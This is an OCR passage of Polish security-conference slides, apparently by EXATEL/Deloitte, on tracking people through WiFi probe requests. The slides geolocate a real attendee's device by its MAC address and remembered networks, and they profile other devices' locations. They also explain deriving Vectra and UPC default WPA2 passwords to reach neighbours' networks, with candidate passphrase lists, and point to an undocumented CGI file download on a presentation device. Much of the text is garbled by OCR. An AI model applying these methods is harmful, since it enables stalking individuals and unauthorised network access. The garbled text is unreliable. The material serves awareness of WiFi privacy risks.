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WiFi stalking

Co to sg pakiety Probe Request i dlaczego mam sie nimi interesowac?

wysytane automatycznie przez urzgdzenie WiFi - nawet gdy nie jestesmy
potaczeni z zadng siecig

ujawniajg informacje o sieciach, z ktérych korzystaliSmy wczesniej i sg
zapamietane w laptopie, telefonie, tablecie itd.

nie mozna ich fatwo zablokowac - biorg udziat w procesie tgczenia sie z
siecig WiFi
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WIiFI1 probe -

Directed Probe

UPC1 234567
deradbe ef:00:00 deadbeef00:00
UPC1 23456 UPC123458
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jak to dziata?

NULL Probe

essid?

UPC123456

derad:be:ef: 00
UPC123456

g7 14:16:ak:1811
caladan

54:12:5%:fa:2391
arrakis

-'I-’ essid? : ’
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Przyktad z zycia wziety... biaty wywiad (OSINT)

uruchamiamy program do podgladu ruchu sieciowego (np. Wireshark,
tcpdump itp) na jednej z konferencji poswieconych bezpieczenstwu IT
znajdujemy wsrod pakietow probe request ciekawg nazwe sieci (SSID),
ktora zwigzana jest ze znanym portalem z branzy

pakiety probe request zwierajgce interesujgcy nas SSID wysyta tylko jedno
urzgdzenie

chcemy pozyskac jak najwiecej informacji odnosnie tego urzgdzenia

S LLLL Deloitte



wlan_mgt.ssid matches "(?i).*niebezpiecznik.*"

At ats.pcapng [Wireshark 1.10.6 (v1.10.6 from master-1.10)] - + =
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

HlIXe A¢»3F3¢ B omanF ¥EEL @

pression... Clear Apply Zapisz

MO . ource Uffstination | Protocol  Lg

2864238 5821.702870 86 Apple b6: B ocadcast 882.11 97 Probe Request, SN 1883, FN=0, Flags=........ , SSID=Niebezpiecznik.pl GUEST
2864222 5821.658952 Apple b6: Bjoadcast 882.11 Request, 1787, FN=0, Flags=...... S5ID=Niebezpiecznik.

2864221 5821.658856 Apple b6:68b:a8 Bfoadcast 882.11 Request, 1786, FN=0, Flags=...... 55ID=Niebezpiecznik.

2864202 5821.6212087 Apple b6:0b:a8 Bfjjoadcast 802.11 Request, 1771, FN=8B, Flags=...... SSID=Niebezpiecznik.

2864201 5821.620344 Apple b6:0b:a8 Bfoadcast 882.11 Request, 17708, FN=0, Flags=...... S5ID=Niebezpiecznik.

2844785 5776.328607 Apple b6:6b:a8 Bfjoadcast 802.11 Request, 16108, FN=0, Flags=...... S5ID=Niebezpiecznik.

2844766 5776.287294 Apple b6:6b:a8 Bfoadcast 802.11 Request, 1595, FN=8, Flags=...... S5ID=Niebezpiecznik.

2844765 5776.286432 Apple b6:0b:a8 Bfjoadcast 802.11 Request, 1594, FN=0, Flags=...... SSID=Niebezpiecznik. [
2824358 5731.887256 Apple b6:6b:a8 Bfoadcast 802.11 Request, 1467, FN=0, Flags=...... S5ID=Niebezpiecznik.

2824357 5731.886349 Apple b6:6b:a8 Bfoadcast 882.11 Request, 1466, FN=0, Flags=...... S5ID=Niebezpiecznik.

2824315 5730.954573 Apple b6:68b:a8 Bfjoadcast 882.11 Request, 1419, FN=0, Flags=...... 55ID=Niebezpiecznik.

2824314 5730.953747 Apple b6:6b:a8 Bfjoadcast 882.11 Regquest, 1418, FN=0, Flags=...... S5ID=Niebezpiecznik.

2804130 5685.669538 Apple b6:6b:a8 Bfoadcast 882.11 Request, 1259, FN=0, Flags=...... S5ID=Niebezpiecznik.

2804892 5685.624774 Apple b6:6b:a8 Bfjoadcast 802.11 Request, 1243, FN=0, Flags=...... S5ID=Niebezpiecznik.

2804891 5685.623880 Apple b6:0b:a8 Bfjoadcast 802.11 Request, 1242, FN=0, Flags=...... , S5ID=Niebezpiecznik.

2718984 5555.226480 Apple b6:6b:a8 Bfjoadcast 882.11 Request, 967, FN=0, Flags=....... S5ID=Niebezpiecznik.

2718983 5555.225617 Apple b6:6b:a8 Bfoadcast 802.11 Request, 966, FN=0, Flags=....... S5ID=Niebezpiecznik.

2718963 5555.182175 Apple b6:6b:a8 Bfoadcast 882.11 Request, 951, FN=0, Flags=....... S5ID=Niebezpiecznik.pl
27160855 5555.139049 Apple b6:0b:a8 Bfjoadcast 802.11 Request, @35, FN=8, Flags=....... SSID=Niebezpiecznik.pl
2718854 5555.138179 Apple b6:6b:a8 Bfjoadcast 882.11 Regquest, 934, FN=0, Flags=....... S5ID=Niebezpiecznik.pl
2448952 5295.537993 Apple b6:0b:a8 Bfoadcast 882.11 Request, 438, FN=0, Flags=....... S5ID=Niebezpiecznik.pl
2448864 5295.449794 Apple b6:6b:a8 Bfjoadcast 802.11 Request, 487, FN=0, Flags=....... S5ID=Niebezpiecznik.pl GUEST
2440863 5295.448924 Apple b6:0b:a8 Bfjjoadcast 802.11 Request, 406, FN=8, Flags=....... SSID=Niebezpiecznik.pl
2291328 5167.881514 Apple b6:6b:a8 Bfoadcast 882.11 Request, 116, FN=8, Flags=....... S5ID=Niebezpiecznik.pl GUEST
2142837 5024.827659 Apple b6:6b:a8 Bfoadcast 802.11 Request, 3749, FN=8, Flags=...... , S5ID=Niebezpiecznik.pl
2142699 5024.781914 Apple b6:6b:a8 Bfoadcast 882.11 Request, 3734, FN=8, Flags=...... S5ID=Niebezpiecznik.pl GUEST
2086205 4979.541500 Apple b6:0b:a8 Bfjjoadcast 802.11 Request, 3590, FN=0, Flags=...... SSID=Niebezpiecznik.pl GUEST
2886198 4979.497538 Apple b6:6b:a8 Bfjoadcast 882.11 Regquest, 3574, FN=8, Flags=...... S5ID=Niebezpiecznik.pl GUEST
2886197 4979.496668 Apple b6:6b:a8 Bfjoadcast 882.11 Request, 3573, FN=8, Flags=...... S5ID=Niebezpiecznik.pl
DMNOETTIE AOTO _AETDTIT Annla h&E.0h.~0 DlA~A~~-+ onn 11 Domspnc-+ CREIEC O Chl—D CT ~nrme— CCTN—Alinhaanincanile 1 ~ICCT

=] |ﬁ File: "/home/ada Profile: Default
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wlan.sa == 00:26:08:b6:0b:a8 and
wlan.fc.type_subtype == 4 (probe request)

g

-

File Edit View Go

ats.pcapng [Wireshark 1.10.6 (v1.10.6 from master-1.10)]
Capture Analyze Statistics Telephony Tools

= xX¢e Q¢€»>3933¢ @5 oo MEHL @

Filter: |wlan.sa ==00:26:08:b6:0b:a8 and wlan.fc.type_subtype==4 | > |
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Profile: Default
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Request,
Request,
Request,
Request,
Request,
Request,
Request,
Request,
Request,
Request,
Request,
Request,
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Request,
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SSID=HOTEL

SSID=United Wi-Fi
SSID=TrattoriaPergamin
SSID=Hotel Alexander
SSID=Dynia_Open
SSID=Dom
SSID=GaleriaBronowice
SSID=domek
SSID=Statoil
SSID=Niebezpiecznik.pl GUEST
SSID=Niebezpiecznik.pl
SSID=HOTEL
SSID=TrattoriaPergamin
SSID=Dom3

SSID=Hotel Alexander
SSID=Wesola Cafe
SSID=Moaburger
SSID=hlogos
SSID=Android AP

S5ID=Dynia Open

SSID=Dom
SSID=GaleriaBronowice
SSID=domek

SSID=Statoil
SSID=Niebezpiecznik.pl GUEST
S55ID=Niebezpiecznik.pl
S5ID=TrattoriaPergamin
S5ID=United Wi-Fi
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SSID=HOTEL
SSID=United Wi-Fi

SSID=TrattoriaPergamin (
SSID=Hotel Alexander
SSID=Dynia Open

SSID=Dom
SSID=GaleriaBronowice
SSID=domek

SsID=Statoil
SsID=Niebezpiecznik.pl GUEST
S5ID=Niebezpiecznik.pl
SSID=HOTEL
SsID=TrattoriaPergamin
SSID=Dom3

55ID=Hotel Alexander
SSID=Wesola Cafe (
S5ID=Moaburger
S51D=hlogos
SsID=Android AP

WiFi probe request
Restauracje Trattoria Pergamin

Strona giéwna | O Galeri | Jak dojechaé? | Praca DA—DT)-S?DTE- ’k, Google play

Qaleria o

Bronowice PLAN GALERII PROMOCJE SKLEPY RESTAURACJE USLUGI ROZRYWKA WYDARZENIA DLADZIE

, otwé ta 30 listopada 2013 roku, usytuowana jest w potnocnej czesci
Krakowa, gdzie krzyzuja  iq istotne szlaki komunikacyjne regionu. Dzigki przebudowie
]

SSID=Dynia Open
S5ID=Dom
SSID=GaleriaBronowice
S5ID=domek

SSID=Statoil
$SID=Niebezpiecznik.pl GUEST
S5ID=Niebezpiecznik.pl
SsID=TrattoriaPergamin
55ID=United Wi-Fi

EXATEL

lilesota

CAFE

ul. Mikokajska 3, 31-027 {rakéw
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Narzedzia - WIiGLE.net

publicznie dostepna (darmowa) baza danych access pointow WiFi
ponad 250 miliondw wykrytych sieci na catym Swiecie

jest darmowa

automatyczne odpytywanie jest ograniczane
mozliwe wykupienie abonamentu komercyjnego

mozliwosc¢ przeszukiwania pod kagtem pojedynczego BSSID/ESSID
(wiekszos¢ komercyjnych serwisdw geolokacji podaje doktadne potozenie na

podstawie co najmniej dwoch BSSID np. ustuga lokalizacji Google)

dane sg croudsource’owane
czeste aktualizacje
nie wszystkie AP sg widoczne

S LLLL Deloitte



Narzed zia - WIGLE.net
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Jak z doktadnoscig danych?

zbadalismy 1429 unikalnych SSID

63% z nich moze by¢ w praktyce przydatne do lokalizacji (wielu nazw ESSID
nie ma w bazie, wiele ESSID nie jest wystarczajgco unikalne - np. AndroidAP,
linksys, Dom itp)

lokalizacja w promieniu kilkudziesieciu metrow

Truszczynska Hamms
Wynajem pokojow

Lomy
<SS prizeotel Hamburg-City

EXATE L Deloitte




Automatyzacja WIGLE.net

. root@ubuntu: ~ 80x24
root@ubuntu:~# python wigle.py 'Niebezpiecznik.pl®

.google.pl/maps/place/@56.87851849,19.90060043,17z
root@ubuntu:-# python wigle.py 'Niebezpiecznik.pl GUEST'
https://www.google.pl/maps/place/@568.87857571,19.98068425,17z
root@ubuntu:~#

pozycja GPS z WiGLE to pozycja gdzie wykryto siec, a nie
gdzie znajduje sie AP

Niebezpiecznik m . .
Niebezpiecznik m

Statoil Statoil
B { Wy 'y

rmij K
Krf’_.'Ul ey ? “Fowey ?

Arrn, Ami kg jowe
odleg+0éé 50m Od H Scanmed Multimedis S.A
17 . oy . . H scanmed Multimedis 5.4 o n
prawdziwej’ lokalizacji . e e
Mt vt oot
Niebezpiecznik.pl GUEST Niebezpiecznik.pl

https://github.com/bezprzewodowe/niebezpieczenstwo/ - wigle.py

EXATE Deloitte


https://github.com/bezprzewodowe/niebezpieczenstwo/
https://github.com/bezprzewodowe/niebezpieczenstwo/

WIGLE.net + Google Maps

root@ubuntu: ~ 97x6

-# python revgeocode.py 'NiEbE7piE'"FL< pl’
,qﬂaq1e pl/maps7q=58.087851849,19.9@ A3

Armii Krajowej 5, 38-150 Krakow, Poland

roote uhuntu ~# python revgeocode.py ‘NlEbELplE ' GUEST'
Pttp:,,waw google.pl/maps?7g=58.87857571, 19,9uu5“4“ - Armii Krajowej 18, 33-332 Krakow, Poland

root@ubuntu:~#

“odwrotne
geokodowanie”

> adres :)

GPS

https://github.com/bezprzewodowe/niebezpieczenstwo/ - revgeocode.py

EXATE Deloitte
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https://github.com/bezprzewodowe/niebezpieczenstwo/
https://github.com/bezprzewodowe/niebezpieczenstwo/

Petna automatyzacja catego procesu :)

TCPDUMP

= root@ubuntu: ~/tapt2016 80x24
root@ubuntu:-/tapt20le# pytbnr probe.py probe.pca
Niebezpiecznik.pl B SE : Bb:a
i iecznik.pl
..automatyczne parsowanie
ruchu sieciowego,

mozliwa rowniez wersja “live”

SSID

we&ﬂl:“t
Hotel
Dom3 @

https://github.com/bezprzewodowe/niebezpieczenstwo/ - probe.py

EXATE Deloitte



https://github.com/bezprzewodowe/niebezpieczenstwo/
https://github.com/bezprzewodowe/niebezpieczenstwo/

a root@ubuntu: ~/ftapt2016 80x24
root@ubuntu:~/tapt2 # python geo.py
Dom Wodnika 31, sk, Poland
Dom Kongresowa 2A, 93-376 Lodz,
Dom Kombatantow 14, Watbrzych,
Dom Marszatkowskzs 77-81, 00-0826 Warszawz, Poland
Dom DK8, 16-148, Poland
Dom Eernm:<iegn 47, 34-325 todygowice, Poland
Dom
Dom D 7y 1. 488 Znin, Poland
Dom Dom Com : :
Dom Jana Pa 35, 28 | yii, Poland
Wegierska 76, (
Kolejowa 3,
Graniczna 135, 32-889 Gi to land
Drcgu Wojewddzka 943 622, Koniakow, Poland
, 63-421 Przygodzice, Fol:rd
Swierczewskiego, Swieciechowa, Poland
hapgd}n 77, 43-468 Wista, Poland
FD]:{lEgD 38, 91-816 todZ, Poland
1 Gorzow W1E1<Dp01:<1 Poland
Mszana, Poland
Poland
208 Czestochowa, Poland
?-431 Zawiercie, Poland

bardziej unikalny SSID to lepsze wyniki

https://github.com/bezprzewodowe/niebezpieczenstwo/ - geo.py

EXATE Deloitte


https://github.com/bezprzewodowe/niebezpieczenstwo/
https://github.com/bezprzewodowe/niebezpieczenstwo/

EXATEL

MAC SSID GPS adres
00:26:08:b6:0b:a8 | Dynia_Open 50.06352615,19.92901993 | Krupnicza 19, 31-123 Krakdw, Poland
09:26:08:b6:0b:a8 | GaleriaBronowice 50.09201431,19.98039635 | Stawowa 26, Krakow, Poland
00:26:08:b6:0b:a8 | GaleriaBronowice 50.09225464,19.90089989 | Stawowa 26, Krakow, Poland
08:26:08:b6:0b:a8 | GaleriaBronowice 50.09237671,19.89933395 | Stawowa 26, Krakdw, Poland
00:26:08:b6:0b:a8 | GaleriaBronowice 50.09237671,19.90083694 | Stawowa 26, Krakdw, Poland
08:26:08:b6:0b:a8 | GaleriaBronowice 50.09243011,19.90064240 | Stawowa 26, Krakdw, Poland
09:26:08:b6:0b:a8 | GaleriaBronowice 50.09247208,19.90040207 | Stawowa 26, Krakdw, Poland
08:26:08:b6:0b:a8 | GaleriaBronowice 50.09316635,19.89700854 | Stawowa 61, 31-346 Krakow, Poland
00:26:08:b6:0b:a8 | GaleriaBronowice 50.09318542,19.89692497 | Stawowa 61, 31-346 Krakdw, Poland
09:26:08:b6:0b:a8 | GaleriaBronowice 508.09332657,19.89645195 | Stawowa 61, Krakow, Poland
00:26:08:b6:0b:a8 | GaleriaBronowice 50.12451172,19.93963814 | Krolewska 20, 32-087 Bibice, Poland
00:26:08:b6:0b:a8 | hlogos 50.06387711,19.92740631 | Czysta 1, 33-332 Krakdw, Poland
08:26:08:b6:0b:a8 | hlogos 50.06409454,19.92918194 | Jozefa Szujskiego 6, 31-123 Krakow, Poland
09:26:08:b6:0b:a8 | Hotel Alexander 50.03562164,19.99695206 | Grochowa 34, 30-731 Krakdw, Poland
00:26:08:b6:0b:a8 | Hotel Alexander 50.05826569,19.94814682 [ Dietla 113, 33-332 Krakdw, Poland
00:26:08:b6:0b:a8 | Hotel Alexander 50.06041336,19.94784355 [Blich 5, 33-332 Krakow, Poland
D0:26:08:b6:0b:a8 | Hotel Alexander 50.06212234,19.94748878 | Radziwittowska 7, Krakow, Poland
00:26:08:b6:0b:a8 | Hotel Alexander 50.06220245,19.94746780 | Radziwittowska 9, Krakdw, Poland
0D0:26:08:b6:0b:a8 | Hotel Alexander 50.06360245,19.94043922 | Florianska 33, 31-019 Krakéw-Srddmieécie, Poland
00:26:08:b6:0b: a8 | Hotel Alexander 50.06502914,19.93260193 | Garbarska 22, 33-332 Krakow, Poland
D0:26:08:b6:0b:a8 | Hotel Alexander 50.06515503,19.93268776 | Garbarska 18/28, 31-131 Krakdw, Poland
D0:26:08:b6:0b: a8 | Hotel Alexander 50.06519318,19.93256760 | Garbarska 15, 33-332 Krakow, Poland
00:26:08:b6:0b:a8 | Hotel Alexander 50.06521686,19.93272018 | Garbarska 13-15, 31-131 Krakdw, Poland
D6:26:08:b6:0b:a8 | Hotel Alexander 50.06522369,19.93286514 | Garbarska 18/28, 31-131 Krakdw, Poland
00:26:08:b6:0b: a8 | Hotel Alexander 50.06526184,19.93271065 | Garbarska 13, 33-332 Krakow, Poland
D8:26:08:b6:0b:a8 | Hotel Alexander 508.06527328,19.93277931 | Garbarska 13, 33-332 Krakow, Poland
D9:26:08:b6:0b:a8 | Hotel Alexander 50.06543350,19.93295097 | Garbarska 11, 33-332 Krakow, Poland
00:26:08:b6:0b:a8 | Moaburger 50.06151962,19.94139671 |Mikotajska 12, 33-332 Krakéw, Poland
00:26:08:b6:0b:a8 | Moaburger 50.07642365,19.93108940 | Jozefa Friedleina 4, Krakdw, Poland
00:26:08:b6:0b: a8 | Niebezpiecznik.pl 50.07051849,19.90060043 | Armii Krajowej 5, 30-150 Krakdw, Poland
D0:26:08:b6:0b:a8 | Niebezpiecznik.pl GUEST |58.07057571,19.98068425 | Armii Krajowej 18, 32-332 Krakow, Poland

https://github.com/bezprzewodowe/niebezpieczenstwo/ - probe.php
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Zebralismy wiecej danych

profesjonalny agregator pakietow :)

access pointy uruchomione w trybie
CWIDS (Cisco Wireless Intrustion
Detection System)

LV EXATEL
\—

Deloitte



Narzedzia - Scapy

class CWIDSFrame (Packet) :
name = 'CWIDS packet '

fields desc = [ ShortField("version", 1), StrFixedLenField("Unknownl", "", 7),
ByteField("channel", 6), StrFixedLenField("Unknownz2", "", 6), ShortField("original length",
0), FieldLenField("captured length", 0), StrFixedLenField("Unknown3", "", 8),
PacketLenField ("dotll frame", None, Dotll, length from=lambda pkt: pkt.captured length) ]

cwids port = 1234
bind layers (CWIDSFrame, CWIDSFrame)

bind layers (UDP, CWIDSFrame, dport=cwids port)

...tutaj dzieje sie magia :)

EXATE Deloitte



RadicTap dummy|
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present
notdecoded

E211
= btype
type
proto
FCheld
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addrl
addr2
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=1
addrd
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Flags+Rate+Channel [ . ]
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4L
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[E02 11 Frobe Request|

82,11 Information Element

10
l=n

info

S5I10-—"
11
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[802.11 Information Element]
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nfa
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4
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&
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EXATEL

wendor
G
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" of o0 00 00 oo

Walehd 242 1860H1[T] -

Narzedzia - Scapy

'M%h 48 00 00
[ oa|[£f £f £f £f £f £4000 26 0o ba

Ob_ag] oo o4l OE|[E7 65 73 6E
ﬁ_r..f_:..ﬁf._ 61 A6 a5 o1 ﬁ.uzl_m_m:_mﬁl 0d g

mm[ﬂ;ldd'[@un 10 18 02

,,_;'_"_'i?adigll'ap(vefsion=0, pad=0, present=18478L, len=18,
-7~ notdecoded="x00\x02\x85\t\xc0\x00\xb8\x06\x00\x00')/Dot11(proto=0L,
~FCfield=0L, subtype=4L, addr4=None, addr2='00:26:08:b6:0b:a8',

addr3="ff:ff.ff:ff.ff.ff', addr1="ff:ff.ff.ff.ff.ff", SC=1024, type=0L, ID=0)
/Dot11ProbeReq()/Dot11Elt(info="Wesola_Cafe', ID=0, len=11)/Dot11Elt
(info="\x02\x04\x0b\x16', ID=1, len=4)/Dot11Elt(info="\x0c\x12\x18$0H"I",
ID=50, len=8)/Dot11Elt(info="\x07', ID=3, len=1)/Dot11Elt
(info="\x00\x10\x18\x02\x00\x00\x00\x00\x00', ID=221, len=9)
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Kilka skryptow pozniej...

ESSID

N\

{"ie": [{"data": "47462053414c452043204420692045", "id": O}, {"data":
"02040b16", "id": 1}, {"data": "0c1218243048606c", "id": 50}, {"data": "Oc [...] 0",
"id": 45}, {"data": "001 [...] 00", "id": 221}, {"data": "00 [...] 00", "id": 221}],
"subtype": 4, "addr2": "08:70:45:84:f6:2c", "T": "2016-03-10T08:38:00+0000",
"sc": 256920, "type": 0, "chafinel": 3}

x znacznik czasu

kanat radiowy

adres MAC klienta
wysytajgcego probe

EXATE Deloitte



Przyktadowy profil (1)

=
O

dc:ce:bc:a1:10:9al4kOnaqzwert2|2 -> ul.

Konduktorska, Warszawa

dc:ce:bc:a1:10:9a|Atigh-Hotel|3 dc:ce:bc:a1:10:

9a|BjeE-SFVBVOVJRzZVMTA|4
dc:ce:bc:a1:10:9a|Cafe Raykal|4
dc:ce:bc:a1:10:9a|Charmy's Pasta|3

dc:ce:bc:a1:10:9a|Free Airport WiFi Telekom|3 =

lotnisko Berlin-Tegel

L
I_F,II,-,

Y Scigacz.pl
ez
u =
Katalogharzkinag zaert2

Wi — e

FresiAirport Wik Telekom

dc:ce:bc:a1:10:9a|Free Boryspil Wi-Fi|2 -> lotnisko

Boryspol (Kijow, Ukraina)
dc:ce:bc:a1:10:9a|SHATEL93|2
dc:ce:bc:a1:10:9a|hotel termah|4
Dc:ce:bc:a1:10:9alkolbeh|3
dc:ce:bc:a1:10:9a|pwwifi|1 -> Kampus PW
dc:ce:bc:a1:10:9a|silk road
10:9a|vnet-5124B7|4 -> 0

OUI (Organization Unique Identifier)
czesto identyfikuje producenta telefonu
(zwhaszcza sprzetu Apple)

EXATEL

> 0O _odc:ce:bc:a1:

FIGLE. NGET Wl

Gate 44 / 45

Gate 40/ 41

W PR . BN . -

... Avis Ukraine Rent
&= & Car and Leasing
Avis YkpanHa

Koszykowa

"= Fres: Boryspil Wi-Fi

wiIGLUE neTr

4 Koszykowa
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Przyktadowy profil (2)

select distinct sta_mac from probe_ requests where
lower(essid) ='s_16_76";
7c.d1:c3:8c:a4:54

66:bc:ac:9c:d5:04 .éw.? o Gim
64:20:0c:ab:0c:52 _é_ﬁ‘ Og%é;LE;ggtsgilgagg%mﬁ
26:e3:bf:0a:5d:bd R
be:a7:77:7b:0c:20 @D Miejska Biblioteka I
D © Publiczna w Legionowie
>
'Sy BubaZONE
Gu,‘ -
G ——
=
P
Ry
O
Vi
%,
(5

EXATEL

Przedszkole

Niepubliczne

Misjonarek
Sw. Rodziry

Salezjanskie
Liceum

| Gimnazjurm

w Legiongwie

1
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Czy jestesmy zdani na WiGLE?

Cexarer Deloitte.



http://wardriving.adamziaja.com (2010)
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: = === qpurciegia =
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B e
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~ : x Q) ch/?e
~~  Wireless Access Point: J//ya . o7
BSSID (MAC): 00:1C:FO:BA:A7:B3 (D-Link) ; /77/02 Qz
Nazwa: MIECZYKOWO_ 2 S/eC/- 7]
Kanat: 6 M///C/' maloy

k Szybkos¢: 5S4 Mbps

2 Szyfrowanie: WPA+TKIP, WPA+PSK

% Pozycja GPS: +50° 10° 49,17, +18° 58' 7.7
5 Ostatnio widziana: 2010-04-04 18:52:56

8 £
H = O @ 2 &
2 g ; £
z 0: 5 3 S
=l wer B f‘-,’
_F n

...w 2010 roku przejechanie ok. 700 km w Katowicach i okolicach
pozwolito pozyskac informacje o 13,5 tys sieci WiFi

EXATE Deloitte
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A

http://wardriving.adamziaja.com (2010)

SSID (nazwa sieci) | Orange_DE40

BSSID (adres MAC urzadzenia) | 00:26:91:0B:DE: 42

Producent urzadzenia | SagemCom

Kanat | 6 (2,437 GHz)

Predkosc sieci | 54 Mb/s

Sposob szyfrowania

WRAHTKIP, WRA+PSK, WPA+AES-CCM

Sygnat | -36 dBm

Pozycja GPS

+50° 12° 28,87 +18% 58" 23.61% (50.208001,15.973225)

Adres | Kasztanowa 5, Katowice, Polska

Pierwszy raz widziana | 2010-10-08 16:51:56

Ostatni raz widziana | 2011-01-02 14:55:13

Dodana do bazy | 2011-01-01 19:37:16

Aktualizowana w bazie | 2011-01-02 15:22:51

...najblizsze podatny AP
np. informacja z BSSID + SSID
Livebox (przepetnienie bufora, 2008)

00:26:91:DB:DB:4E

Orange_DB4C

WRALTEIP, WRALPSK, WRALAES-CCM

+509.1:2¢ 35 1% 4 LRSS0 QU A

00:27:19:FE:C4:E6

EXATEL

TR-LIMKE_FEC4ESR

WEP

BSSID Nazwa sieci {SSID} # Sposib szyfrowania Pozycja GPS
00:11:95:32:89:66 Bromba G | WEP ] e A U | N o 1 | e 1 mm e
00:4F:62: 1B 1CED czas 5 | brak szyfrowania +50° 12" 16,82 +182 52 16.09" A
00:90:96:00:00:02 wajha 6 [ WPAHTKIP, WPA+PSK #5012 25,05 +£182.581 22 .23 &
O0iLD:921]1 7150 33 Pentagram P 6331-6 6 [ WPA+TKIP, WPA+PSK +80°.12" 2876 +£182 58' 18.11" A
00:26:91:D8:DE:42 Orange_DE40 6 [ WPA+TKIP, WPA+PSE, WPA+AES-CCM +5092:12:28 .84 +18% 5B 23 614
DB 2F 622 02 Swaj 6 [ WPa+TKIP, WPA+PSE, WPA+AES-CCM #5602 1.3 46277 +18% 55" 12 3714
00:10:70:4B:50:89 GIGARYTE 6 | brak szyfrowania +50° 12’ 30.54" +18° 58° 25.37% A
00:1F:1F:47:4B:02 Daom 7| WEP +30° 12’ 34.53" +18° 58/ 27.05" A
00:26:ED:98:F6:FC ZTE_FG6FC 6 [ WPRA+TKIP, WPRA+PSK 502120 33:81" £1 82 58" 26,914
O0:1F:1F:4F:09:32 Edimax 6 | WEP +30° 12" 36.73" +18° 58/ 26.44" A
00:24:D2:96:D9:67 SpeedTouchDOBS44 6 [ WPa+PSE, WPALAES-CCM +50° 12’ 49,35 +18% 58/ 18.87" A

G
o]

3509 .12:39 244 4 1B 58" 25 83" 4

...hajblizsza sie¢ bez szyfrowania itd

kanat 14 (2.484 GHz) - w Polsce tylko czestotliwosci od 2.4 do 2.4835 GHz nie wymagajg konces;ji

Deloitte
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http://wardriving.adamziaja.com (2010)

Siecl z podziatem na udostepniony sposob szyfrowania:
WPA 8162 60.337%

WEP 3746 E.T...'CI"’

brak 1586 11.766

Sieci z udostepnionym szyfrowaniem WPA z podziatem na sposdb wymiany klucza:
PSK 8023 EE———— 00 02%

RADIUS 79 [ 6.98%

Sieci z szyfrowaniem WPA z podziatem na WPA 1 WPAZ:
WPA TKIP 6573 m— 55.073%
o]

WPA2 AES 5362 44 .9275%

...kiedys byto stabo z bezpieczenstwem WiFi

WPA2 z dobrym hastem

EXATE Deloitte
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aktualnie duzo sie nie zmienito w kontekscie bezpieczenstwa
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$8ID: TP-LINK_T9FAT6 Password: sword: C279FATS

90 kombinacji dla catego vendora TP-LINK

¥

Cexarer Deloitte.




Vectra (...-2016, Warszawa)

hastem do Wi-Fi jest MAC (12 znakdw) pisany matymi literami.

nazwa sieci Wi-Fi sktada sie z cztonu "VNET-" oraz drugiej potowy MAC (6
znakow).

pierwsza potowa MAC przypisana jest do vendora (6 znakéw).

sgsiedzi prawdopodobnie majg ten sam model modemu, co za tym idzie
pierwsze 6 znakow naszego hasta oraz 6 znakéw z nazwy sieci Wi-Fi sgsiada
daje nam dostep do sieci sgsiada... :)

jesli hasto nie pasuje to jest kilkadziesigt kombinacji (modemy z serii Cisco
EPC np. 3212, 3925, 3208, 3010, 3008, 3928, 2100 = mozliwe 32
kombinacje)

generator mozliwych haset http://adamziaja.com/misc/vectra.php (2014-...)

EXATE Deloitte
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UPC (2016)

C G https://www.Ox.tflupc/upc_keys.html

=> WPAZ phrase for 'SAAP17515406' = ' BDVIHKAZ ®°e UPCE1128

-> WPAZ phrase for 'SAAP23837806' = 'CZCIYMGY' =

Access Control

> WPAZ phrase for 'SAAP23841006' = ' DSHBNGKH'
-> WPAZ2 phrase for 'SAAP30163406' = 'KIZIBEET
== WPAZ phrase for 'SAAP37515406' = JTZCHESEC

> WPA?2 phrase for 'SAAP43837806' = FEJAQGHE' / Hame: BT

> WPA2 phrase for'SAAP43841006' = 'BGBCTCMY Kind: | AirPort networx password
-> WPAZ2 phrase for 'SAAP50163406' ='EAVWTCFF *ee . (e

> WPA2 phrase for'SAAP57515406' = 'PUSYEGEF e

> WPA2 phrase for'SAAP63837806' = 'AUNUYSJD' Where: | AirPort

-> WPAZ2 phrase for 'SAAP63841006' = BHCAWYKYJ'
> WPAZ phrase for 'SAAP70163406' = 'AEEDMKGM'
> WPAZ2 phrase for 'SAAP77515406' = 'QNCQFBDD!
-> WPAZ phrase for 'SAAPE3837806' = DCBRDWXC _
-> WPAZ2 phrase for 'SAAPE3841006' = " TRPUEZVC Show password: | OJYIC 9
> WPAZ2 phrase for 'SAAP90163406' = 'HFXCAHEB' '
-> WPAZ2 phrase for 'SAAP97515400' = ' MSFWRCNG'

Comments:

[1m=> found 17 possible WPAZ phrases, enjoy![0Om

https://niebezpiecznik.pl/post/lamacz-hasel-do-sieci-wi-fi-dla-niektorych-routerow-upc/

Cexarel Deloitte
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Czas na cos zupetnie innego...

=

(urzgdzenie utatwiajgce prowadzenie prezentacji)

EXATE L Deloitte



Nieudokumentowana funkcjonalnosc :)

192.168.114.210/cgi-bin/rdfs.cgi

ryption x

Follow administrator instructions to enter the complete path

” Download ‘

...Scigga dowolny plik z urzgdzenia w zaszyfrowanej postaci

Cexarer Deloitte.
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| -

Podatnos¢ w kodzie skryptu CGlI

Plik Maszyna Widok Input Urzgdzenia Pomoc

File Edit Jump Search View Options Windows Help

=

L

Hi i@~~~

Library function

E Functions window

5 3
- N Y N I A
pata [l Regular function

O &8 x DA View-a [ | [5] strings window %] D] Hex View-1 |

o @B @ ek g aF
i

Unexplored [l Instruction

‘s*'glﬁlx OO

MECIC I S

I Structures [ I Ej Erums ] | | 5 Imports ||

@ Exports :

'n
c
3

)
Y |

2
o
3
S
&
3
m

system
AWCFG_DeleteMode
memset

free

read

BCCESS
AWCFG_Search
close

fwrite

closedir
TEMOVE

strick
AwDelimModeHtm|
stremp

exit

sprintf
sub_S8ADC
sub_8B00
sub_8B1C
sub_8BAC
sub_8BE0
sub_SBAS
sub_8BCO
sub_8BD2
sub_2C14

~

Qutput window
The initialfautuanalysis has hggn_FiniSheuL ”
IDC

aT:

idle Down

.text:80008B5C filepame

-text:000888B5C
-text:000888B60
-text: 00088868
-text:080888B68
-text:00088B60

-text:000888B68 sub_BB6A

-text:000888B60
-text:00088B68
-text:000888B6L
-text:00008B6E
-text:00088B6E
-text:08888B78
-text:00088B74
-text:00088B78
-text:00088B7C
-text:000088BE0
-text:00088B8L
-text: 00008888
-text:00088BEC
-text:00088B20
-text:00088B24
-text:00888B28
-text:00088B2C
-text:a8888BoC
-text:08888B2C
-text:080888B2C
-text:066688BAB
-text:00088BA8

F

End of function sub_8B&0

DCD aTmpDwnlck

R2, R4

sprintf

MOy RB, 3P
BL system
ADD 5P,
LDHFD 3

char =format

PATA KREF: sub_8Bac+utfr
“Atmp/DWNHLCK™

R3, =aTmpFile H

======== S UBROUTIMHNE

; CODE XREF: sub_8DAS+80Lp
; sub_B8DAB+BCLp

STHFD SP*, {R4,LR}

SUB 5P, SP, #HOx84

